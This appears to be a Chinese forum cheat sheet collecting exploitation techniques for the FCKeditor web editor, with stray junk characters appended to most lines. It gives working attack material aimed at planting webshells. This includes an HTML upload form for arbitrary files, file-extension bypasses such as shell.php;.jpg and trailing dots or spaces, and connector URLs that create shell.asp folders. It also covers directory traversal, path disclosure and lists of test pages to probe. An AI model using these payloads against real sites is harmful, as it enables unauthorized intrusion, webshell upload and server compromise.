Fckeditor漏洞利用总结 4 c2 k" M$ K; S, {
查看编辑器版本/ E% x- w5 T% u, T
FCKeditor/_whatsnew.html2 ^2 `4 {4 O) u1 f7 F
—————————————————————————————————————————————————————————————& u( G6 R$ O5 F J( @
+ V( Y0 P" W* v7 d l: ~2. Version 2.2 版本# k7 f( F2 E) X" e; j$ s
Apache+linux 环境下在上传文件后面加个.突破!测试通过。
9 |9 A4 G9 F8 R* a' X—————————————————————————————————————————————————————————————, u! s4 U# O: U* l/ J
6 [9 ]: L% O# Q$ G3.Version <=2.4.2 For php 在处理PHP 上传的地方并未对Media 类型进行上传文件类型的控制,导致用户上传任意文件!将以下保存为html文件,修改action地址。
]+ N0 q% o9 e0 |2 I: F6 i<form id="frmUpload" enctype="multipart/form-data"
8 M1 k) f) p) i4 \3 iaction="http://www.site.com/FCKeditor/editor/filemanager/upload/php/upload.php?Type=Media" method="post">Upload a new file:<br>/ F* K6 \" C0 I/ o7 v% O
<input type="file" name="NewFile" size="50"><br>: q5 Z+ M. {* L% ^3 w3 p
<input id="btnUpload" type="submit" value="Upload">' X2 a. p$ ?" O
</form>! M+ ?, F1 i! o; [
—————————————————————————————————————————————————————————————
( ?- j* S! N9 Y! m3 r3 n' h. c# m2 W% Z/ q* H. ^
4.FCKeditor 文件上传“.”变“_”下划线的绕过方法# r2 R) ~: A% c* U6 u- Q
很多时候上传的文件例如:shell.php.rar 或shell.php;.jpg 会变为shell_php;.jpg 这是新版FCK 的变化。0 c& m' n- [ j7 z, K
4.1:提交shell.php+空格绕过
4 y: y& @8 |2 U6 v% `# n2 J4 r不过空格只支持win 系统 *nix 是不支持的[shell.php 和shell.php+空格是2 个不同的文件 未测试。, R3 b& ?5 F: x
4.2:继续上传同名文件可变为shell.php;(1).jpg 也可以新建一个文件夹,只检测了第一级的目录,如果跳到二级目录就不受限制。" `, ]& b Y! g
—————————————————————————————————————————————————————————————, }+ f. b6 _1 r- g; H" h
5 w. ]5 E" l9 A" ?3 n- \. t5. 突破建立文件夹* L3 \& \) }& s
FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684 l; f% X8 n2 P! F$ I+ l& [
FCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=CreateFolder&CurrentFolder=/&Type=Image&NewFolderName=shell.asp
, L* w1 \: G: p! v+ z$ c: @+ W—————————————————————————————————————————————————————————————- g+ ]; ], D- f0 Y% S% P2 _
% c8 Q# f& G5 h h1 t* ^
6. FCKeditor 中test 文件的上传地址! `. N1 k8 _; e8 c7 @8 t; C* q* `
FCKeditor/editor/filemanager/browser/default/connectors/test.html$ D c3 H6 N1 [1 r4 R
FCKeditor/editor/filemanager/upload/test.html
# @* @) y, A& _ P' M# b9 ?/ SFCKeditor/editor/filemanager/connectors/test.html
3 m' L. K) Q I( _* J$ vFCKeditor/editor/filemanager/connectors/uploadtest.html
7 M( b2 s# w( y# g' E0 e: m$ B5 F—————————————————————————————————————————————————————————————' o- I2 ?$ S+ A6 L% x( Y
j7 k) d$ |: K6 `9 P, v7.常用上传地址
8 i1 z# u* S- W$ }- g* LFCKeditor/editor/filemanager/browser/default/connectors/asp/connector.asp?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
) a; M# R9 a8 |& f& Y8 hFCKeditor/editor/filemanager/browser/default/browser.html?type=Image&connector=connectors/asp/connector.asp
4 p5 O8 C: C: Y! h6 ~3 C9 W- \FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=http://www.site.com%2Ffckeditor%2Feditor%2Ffilemanager%2Fconnectors%2Fphp%2Fconnector.php (ver:2.6.3 测试通过)& ]" `/ Y1 L+ [$ i# c W% A+ i) ~
JSP 版:
4 o0 k/ v; K+ }# pFCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=connectors/jsp/connector.jsp3 i% i3 _0 E8 ~& {" K* O- `" ~. P5 J
注意红色部分修改为FCKeditor 实际使用的脚本语言,蓝色部分可以自定义文
! u2 C- U# R& a3 [/ i0 [3 P件夹名称也可以利用../..目录遍历,紫色部分为实际网站地址。
* ]; X) F: G+ B—————————————————————————————————————————————————————————————
4 M) b2 k( A% ]* w, O. r5 u+ @ Q& p1 ]( R$ T1 \
8.其他上传地址+ z: o) b9 A% z6 o1 h
FCKeditor/_samples/default.html7 u K% _: I- n9 m! \0 @ h
FCKeditor/_samples/asp/sample01.asp
4 Y( O5 D3 V& {" PFCKeditor/_samples/asp/sample02.asp! m! _$ i3 P% f
FCKeditor/_samples/asp/sample03.asp: o: T9 R2 l( I% U& Q& h
FCKeditor/_samples/asp/sample04.asp4 D' {( e; h9 d" H8 `! h
一般很多站点都已删除_samples 目录,可以试试。; C# W' X$ x; U- }
FCKeditor/editor/fckeditor.html 不可以上传文件,可以点击上传图片按钮再选择浏览服务器即可跳转至可上传文件页。0 r. i3 d5 N! a! m3 `. B B
—————————————————————————————————————————————————————————————( p6 e2 C; r1 S, H2 t
% j+ D( b, W- g g% T
9.列目录漏洞也可助找上传地址
. J' G6 \ z/ w4 CVersion 2.4.1 测试通过6 q- F3 f) Q1 d9 z* u1 _
修改CurrentFolder 参数使用 ../../来进入不同的目录! a" N Z6 Q+ j* P
/browser/default/connectors/aspx/connector.aspx?Command=CreateFolder&Type=Image&CurrentFolder=../../..%2F&NewFolderName=shell.asp
7 d7 j1 b$ M( u Q# H根据返回的XML 信息可以查看网站所有的目录。
9 x: N. V/ { H# H+ {$ {. m0 r. ~FCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=%2F
0 z) ^7 Y- U" ]& d也可以直接浏览盘符:4 p. l+ Z+ V. t) h; P+ m! z
JSP 版本:
% q- Z) ^1 i+ f& z! {; I2 rFCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=%2F" m6 r& U1 u! _
—————————————————————————————————————————————————————————————
" Z, f8 ]6 A+ ~) E
6 `7 b& M; `8 X/ I4 |; @10.爆路径漏洞
9 t0 _( w% a2 F4 @+ ?; n; S4 \9 SFCKeditor/editor/filemanager/browser/default/connectors/aspx/connector.aspx?Command=GetFoldersAndFiles&Type=File&CurrentFolder=/shell.asp
4 |, q% F& E+ u7 Z% D) V, }—————————————————————————————————————————————————————————————3 c* k7 H/ X$ `# c) e& v1 ~
9 C3 E7 [5 |( l5 t! D& E
11. FCKeditor 被动限制策略所导致的过滤不严问题
1 q5 A1 ^. c, F$ C* M 影响版本: FCKeditor x.x <= FCKeditor v2.4.3, y) Q* [4 d& y$ e c- v
脆弱描述:
% r3 i w% }+ ?2 ?3 JFCKeditor v2.4.3 中File 类别默认拒绝上传类型:8 m: K1 N6 } G& B+ ~& e7 d
html|htm|php|php2|php3|php4|php5|phtml|pwml|inc|asp|aspx|ascx|jsp|cfm|cfc|pl|bat|exe|com|dll|vbs|js|reg|cgi|htaccess|asis|sh|shtml|shtm|phtm
8 d" ?# T6 E& |% b9 B( Y6 ZFckeditor 2.0 <= 2.2 允许上传asa、cer、php2、php4、inc、pwml、pht 后缀的文件上传后它保存的文件直接用的$sFilePath = $sServerDir . $sFileName,而没有使用$sExtension 为后缀.直接导致在win 下在上传文件后面加个.来突破[未测试]!
% r, U7 X& R% n3 u 而在apache 下,因为"Apache 文件名解析缺陷漏洞"也可以利用之,另建议其他上传漏洞中定义TYPE 变量时使用File 类别来上传文件,根据FCKeditor 的代码,其限制最为狭隘。
( I$ n7 ]6 N* K# T% ]8 k 在上传时遇见可直接上传脚本文件固然很好,但有些版本可能无法直接上传可以利用在文件名后面加.点或空格绕过,也可以利用2003 解析漏洞建立xxx.asp文件夹或者上传xx.asp;.jpg!6 C! k: ~) o9 \# d2 p, }$ ?
—————————————————————————————————————————————————————————————
3 n2 z4 A/ a1 i% d* w" O
( m6 F4 g% G( t9 x8 ]; Y12.最古老的漏洞,Type文件没有限制!
# c5 s' S Z9 R& e8 G3 ~$ ` 我接触到的第一个fckeditor漏洞了。版本不详,应该很古老了,因为程序对type=xxx 的类型没有检查。我们可以直接构造上传把type=Image 改成Type=hsren 这样就可以建立一个叫hsren的文件夹,一个新类型,没有任何限制,可以上传任意脚本! ' @. o- q9 c+ ]
—————————————————————————————————————————————————————————————: o/ \; r8 b8 O* d$ S
+ N! a& d2 ?+ Q! h7 e
===============================================================================================================================================) u2 U5 x/ ^1 n1 T; @ j5 \3 @
( N% X2 V" Z3 G# VFCK编辑器jsp版本漏洞:9 `* h, N6 r4 v- X
+ ]% }& O# u- k2 o6 N
# ~* d x& S# g- \( fhttp://www.xxx.com/fckeditor/edi ... p;CurrentFolder=%2F o3 s% k6 d! u$ P8 l
! a n2 `4 d7 ]$ e上传马所在目录* s, a" D0 J5 n7 ^
FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=Image&CurrentFolder=/
6 y: v2 _$ b% L1 g a6 a S上传shell的地址:
) ^0 j8 g% k: q' m" ]http://www.xxx.com/fckeditor/edi ... ctors/jsp/connector: {! q* t, M7 ~4 {
跟版本有关系.并不是百分百成功. 测试成功几个站.% V7 H; J1 }3 L: l8 o0 s) }2 H9 D
不能通杀.很遗憾.5 I1 N# t8 C$ Q d
http://www.****.com/FCKeditor/editor/filemanager/browser/default/browser.html?type=File&connector=connectors/jsp/connector; S5 u4 j! K# {# Z5 H
如果以上地址不行可以试试8 }- h! Z1 c/ ~7 s X
FCKeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=/servlet/Connector
# z6 V. ~5 V$ J$ o' [/ s/ n; G% FFCKeditor/_samples/
7 ^2 J; o* X1 i8 M" J) BFCKeditor/_samples/default.html) |0 K% M9 z6 T. t1 ^+ o
FCKeditor/editor/fckeditor.htm
6 \. I. |' I. PFCKeditor/editor/fckdialog.html
' q5 M1 M% ^2 x# Y) v) L- X/ D5 W' k" G* q, b% L& k7 v& a7 s
$ Z) F& h% ] d
2 E( H, E, T( a4 S解析漏洞+未重命名文件时上传漏洞 1.asp;jpg( ^0 Z, T7 f$ o( |- A
|